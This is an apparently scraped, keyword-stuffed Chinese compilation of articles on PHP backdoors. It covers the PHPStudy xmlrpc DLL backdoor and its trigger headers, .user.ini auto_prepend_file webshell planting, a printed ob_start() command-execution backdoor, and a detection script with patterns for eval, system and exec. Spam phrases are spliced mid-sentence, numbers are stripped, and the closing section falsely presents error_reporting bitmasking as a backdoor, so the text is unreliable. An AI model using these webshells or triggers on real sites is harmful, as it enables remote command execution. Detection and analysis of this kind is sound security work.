1.PHPStudy后门事件分析
2.我在网上下载了一个php网站程序,码后门源码有后门求高手解答
3..user.ini文件构成的码后门源码PHP后门
4.PhpStuday后门复现+poc
5.网站安全分析:PHP ob_start函数后门分析
6.PHP中使用按位取反(~)函数创建后门
PHPStudy后门事件分析
本文深入剖析了在PHPStudy后门事件中,PHP环境集成程序包phpStudy遭遇供应链攻击的码后门源码细节。程序包中内置的码后门源码PHP的php_xmlrpc.dll模块被植入了后门,这一后门不仅具备反向连接木马功能,码后门源码还能正向执行任意PHP代码。码后门源码知识付费源码带采集
受影响的码后门源码版本包括:php\php-5.2.\ext\php_xmlrpc.dll、php\php-5.4.\ext\php_xmlrpc.dll、码后门源码PHPTutorial\php\php-5.2.\ext\php_xmlrpc.dll、码后门源码PHPTutorial\php\php-5.4.\ext\php_xmlrpc.dll。码后门源码攻击者通过@eval()函数定位到恶意代码引用位置,码后门源码利用@错误信息屏蔽专用符号和Eval()函数执行代码,码后门源码通过中间的码后门源码%s格式符接收传参。
分析过程中,码后门源码确认了两个主要的码后门源码判断条件:一个是判断ACCEPT_ENCODING是否等于gzip, deflate,来决定是否执行基于HTTP_ACCEPT_ENCODING的内容解密并调用zend_eval_strings()函数,执行任意恶意代码。另一个是判断ACCEPT_ENCODING是否等于compress,gzip,以此触发通过关键部分@eval(gzuncompress('%s'));执行解密的代码。
通过构造特定的HTTP头,可以触发正向和反向连接。例如,将Accept-Encoding设置为gzip,deflate可以触发正向连接部分,而设置为compress,gzip可以触发反向连接部分。在实际操作中,webview 获取源码动态调试工具如OD被用于辅助定位和构造有效载荷。
后门功能分析包括两个PHP脚本:一个用于模拟GET请求,另一个则内置了域名表和端口表,通过遍历发送数据。执行流程和构造有效载荷的细节则需根据具体原理进行构建。
为了验证漏洞的存在,可以使用漏洞插件,如长亭科技xray社区漏洞扫描器。此插件能够帮助快速验证受影响的站点,并提供相应的检测规则和链接。
网络特征主要包括特定的HTTP头,例如Accept-Encoding:gzip,deflate的格式,以及Accept-Charset的Base编码。文件特征则是特定的字符串模式,如%s;@eval(%s('%s'));等。受影响的站点则涉及多个提供软件下载的网站,验证过程需要针对这些站点进行。
综上所述,PHPStudy后门事件展示了供应链攻击的严重性和复杂性,对于开发者和安全团队而言,了解并防范此类攻击至关重要。在实际应用中,应加强安全措施,定期进行漏洞扫描,gps 监控源码以及更新和验证依赖库的安全性。
我在网上下载了一个php网站程序,有后门求高手解答
楼主你好,源码下载后,用杀毒软件杀下,看有没有木马
然后你可以检查看下代码中有没有可疑的js代码,也有可能是马
程序的bug这个我就不说了,难,任何程序都可能有bug,只是发现与没发现的问题
如果是很牛的人的源码,人家在程序里面放了马,藏得很深的话,估计找出来也难,建议还是用出名一点的源码程序!要么自己开发或请人开发!
.user.ini文件构成的PHP后门
在PHP编程领域,后门是一个常见的安全问题。用户可能对传统的.htaccess文件后门感到厌倦,因此寻求新的方法。在本文中,我们将讨论使用.user.ini文件创建PHP后门的技巧。与.htaccess文件相比,.user.ini文件具有更广泛的使用范围,适用于Nginx、Apache和IIS等不同的服务器配置。
.user.ini文件实际上是一个用户自定义的php.ini文件,允许用户在特定目录中配置PHP的驱动注入源码设置。它能够覆盖php.ini中设置的某些配置项,尤其对于PHP_INI_PERDIR和PHP_INI_USER模式的设置更为适用。这些设置可以在.ini_set()函数中设置、通过注册表配置,或者直接在.user.ini文件中进行修改。
.user.ini文件的设置被动态加载,这意味着修改后无需重启服务器中间件,只需等待预设的时间(默认为秒)即可生效。这样的特性使得在部署和维护过程中更为便捷。
然而,值得注意的是,.user.ini中能被识别的设置仅限于具有PHP_INI_PERDIR和PHP_INI_USER模式的配置项。PHP_INI_SYSTEM模式的敏感配置项,如disable_functions、extension_dir、enable_dl等,通常在php.ini文件中被定义,且不能通过.user.ini文件来覆盖。
尽管如此,.user.ini文件仍然为构建后门提供了一条路径。PHP配置项中的auto_append_file和auto_prepend_file两个选项显得格外有趣。通过在.user.ini文件中设置这些选项,可以实现自动包含指定文件,从而在执行的删除说说源码PHP文件前或后注入代码。这些文件可以是包含一句话的webshell,也可以是一个正常的PHP文件,用于执行特定任务。
本文将通过在IIS6.0+Fastcgi+PHP5.3和nginx+fpm+php5.3环境中进行测试,验证使用.user.ini和包含webshell的.gif文件来注入后门的可行性。结果表明,即使在限制上传.php文件的环境中,通过部署.user.ini文件和马(包含webshell),仍能成功获取shell权限。
此外,.user.ini文件的使用场景可以灵活多样,例如在网站禁止上传特定文件类型时,通过部署包含.user.ini的文件夹,实现通过文件进行后门注入。这样的方式特别适用于隐藏后门或在特定条件下执行特定任务的需求。
PhpStuday后门复现+poc
文章内容包含以下要点:
1. **PHPStudy后门复现**:PHPStudy是一款集成Apache、PHP、MySQL、phpMyAdmin、ZendOptimizer等软件的免费PHP开发环境,广泛应用于PHP学习与开发。年,杭州警方通报指出该软件存在后门。本文详细描述了后门的实现与检测方法。
2. **漏洞详情**:影响版本包括php-5.2.与php-5.4.。后门代码位于\ext\php_xmlrpc.dll模块中。攻击者可通过特定请求头字段触发后门执行。
3. **检测与复现**:通过分析phpStudy与版本,定位漏洞代码。复现方法包括启动对应版本环境,添加特定请求头字段(如`Accept-Charset`与`Accept-Encoding`)进行攻击。
4. **利用示例**:以`Accept-Encoding: gzip,deflate`与`Accept-Charset`字段添加`base`编码的执行语句(如`system('whoami')`)作为payload进行攻击。完整数据包示例展示了攻击流程。
5. **代码示例**:提供了一个Python验证脚本,用于验证漏洞复现,包含随机生成的User-Agent列表与自定义的`checkTarget`与`exploit`函数。
6. **修复方式**:建议从官方下载原始版本的php_xmlrpc.dll替换系统中存在的文件,以修复后门。
7. **总结与建议**:环境搭建与漏洞检测可能较为耗时,需要注意payload中`base`编码的正确性,且执行该过程应在安全与合法的范围内进行。漏洞复现有助于了解安全漏洞并提高安全意识。
网站安全分析:PHP ob_start函数后门分析
9月日消息:站长之家从日志宝安全团队获悉,近日,根据日志宝分析平台的分析数据显示,部分网站的访问日志中存在大量命令执行类后门行为。我们与用户取得联系后拿到后门文件代码。此类后门通过PHP的ob_start()函数触发,利用ob_start()函数回调机制调用命令执行类函数并接受黑客远程发送的命令,此类后门代码可以躲避部分常见后门关键字查杀程序,最终以Web服务器权限远程执行任意命令。
PHP 手册中关于ob_start()函数回调机制的相关说明:
Ob_start()函数后门代码如下:
php$cmd = 'system';ob_start($cmd);echo "$_GET[a]";ob_end_flush();
?
后门利用效果如下图:
针对此类后门行为,建议站长们检查网页源代码中是否出现ob_start()函数调用,并检查ob_start()的参数是否是常见的命令执行类函数(system,exec,popen,shell_exec等)或者其他可疑函数调用。
为了方便站长们检查网站源代码中是否出现可疑后门程序或者危险函数调用,日志宝安全团队编写了一款简易的PHP后门检测小脚本,可以快速方便的帮助站长检测网站文件是否被插入恶意后门代码,源代码和使用方法如下:
#!/usr/bin/php -q
php#简易PHPwebshell检测脚本-By 日志宝安全团队
#检测特征如下:
#eval($_POST 匹配 eval($_POST[cmd])--PHP一句话后门代码
#system(),exec(),shell_exec(),popen(),passthru(),proc_open()这些函数可以执行系统命令,名且在PHPSPY木马中使用
#phpinfo() 后门中经常出现的函数,正常文件中也可能出现造成敏感信息泄露
#eval(base 匹配经过base编码后的后门
#eval(gzuncompress 匹配经过gzip压缩过的后门
#`*` 匹配类似`$_REQUEST[cmd]`的一句话后门
#其他可以远程执行命令或者直接生成后门文件的危险函数(dl,assert,error_log,ob_start,preg_replace /e)
#使用方法
./findshell.php /home/wwwroot/(此处填写web目录路径) result.log
程序的分析结果将保存在当前目录下的result.log文件中
set_time_limit(0);
function find($directory)
{
$mydir=dir($directory);
while($file=$mydir-read()){
if((is_dir("$directory/$file"))($file!=".")($file!=".."))
{
find("$directory/$file");
}
else{
if($file != "." $file != ".."eregi(".php",$file)){
$fd=realpath($directory."/".$file);
$fp = fopen($fd, "r");
$i=0;
while ($buffer = fgets($fp, )) {
$i++; if((eregi("eval($_POST",$buffer))||(eregi("system(",$buffer))||(eregi("exec(",$buffer))||(eregi("shell_exec(",$buffer))||(eregi("popen(",$buffer))||(eregi("phpinfo(",$buffer))||(eregi("passthru(",$buffer))||(eregi("proc_open(",$buffer))||(eregi("phpspy",$buffer))||(eregi("eval(base",$buffer))||(eregi("eval(gzuncompress",$buffer))||(eregi("preg_replace(/^/e,$",$buffer))||(eregi("preg_replace("/^/e",$buffer))||(eregi("assert(",$buffer))||(eregi("ob_start(",$buffer))||(eregi("error_log(",$buffer))||(eregi("dl(",$buffer))){
all();
echo "可疑文件路径:".$fd."rnLine".$i.":".$buffer."rnrn";
}
}
fclose($fp);
}
}
}
$mydir-close();
}
function all()
{
static $count = 1;
echo $count;
$count++;
}
find($argv[1]);
使用日志宝分析日志可以发现绝大部分常见Web后门的可疑访问行为,但是由于PHP语法的松散导致可以利用常规函数实现部分后门行为,比如执行系统命令等,因此也会出现一些遗漏和误报。在开发网站的过程中开发者需要有一定的安全编程意识,注意变量的初始化以及其他逻辑问题,加入一些安全过滤函数等防范措施,从网站本身的代码安全做起,才能起到深度防御的效果。希望广大站长能够通过日志宝分享的安全知识技巧了解到更多Web安全相关内容,让自己的网站更加稳定、安全的运行。
注明:本安全报告来自日志宝,官方网站www.rizhibao.com
PHP中使用按位取反(~)函数创建后门
PHP中使用按位取反(~)函数创建后门
本文将介绍在PHP中如何利用按位取反(~)函数创建后门的原理及方法。首先,我们需要了解PHP的位运算符。
在PHP中,按位取反(~)运算符能够将一个整数的二进制位进行反转。如果原数的某位是0,则该位变为1,反之亦然。这个特性在某些场景下可以用来绕过安全机制,创建后门。
例如,通过将按位取反运算应用于错误报告的配置,可以实现特定错误的隐藏。在php.ini文件中,可以通过设置`error_reporting = E_ALL & ~E_NOTICE`来仅显示除了`E_NOTICE`级别的错误信息。这里的`E_ALL`表示所有错误,而`E_NOTICE`表示提示级别的错误。通过按位取反运算符`~`,可以得到一个与所有错误位相同,但`E_NOTICE`位相反的值。
具体步骤如下:
1. 首先,获取`E_ALL`的值,即所有错误位的二进制表示,如``。
2. 然后,获取`E_NOTICE`的值,即提示级别的错误位的二进制表示,如``。
3. 接着,对这两个值进行按位取反运算,即将`E_ALL`的值的每一位与`E_NOTICE`的值的对应位进行取反,得到``。
4. 最后,将结果与`E_ALL`的值进行按位与运算,得到最终显示的错误报告位,即``。这表示除了`E_NOTICE`级别的错误,其他所有错误都将被报告。
通过这种方式,可以有效地隐藏特定级别的错误信息,实现后门的创建。在实际应用中,可以利用这个特性来绕过某些安全检查,实现非法访问或数据泄露。
需要注意的是,这个方法依赖于特定的编码方式。在复制代码时,如果出现HTTP状态错误,可能是由于编码问题导致的。对于这种'乱码',需要确认其实际编码格式,如ISO--。在实际操作中,确保编码正确性对于后门的实现至关重要。
总结,利用PHP中的按位取反(~)函数,可以在一定程度上创建后门,绕过安全机制。但同时也提醒开发者和安全人员注意防范此类攻击手段,加强系统安全配置,确保数据和应用的安全性。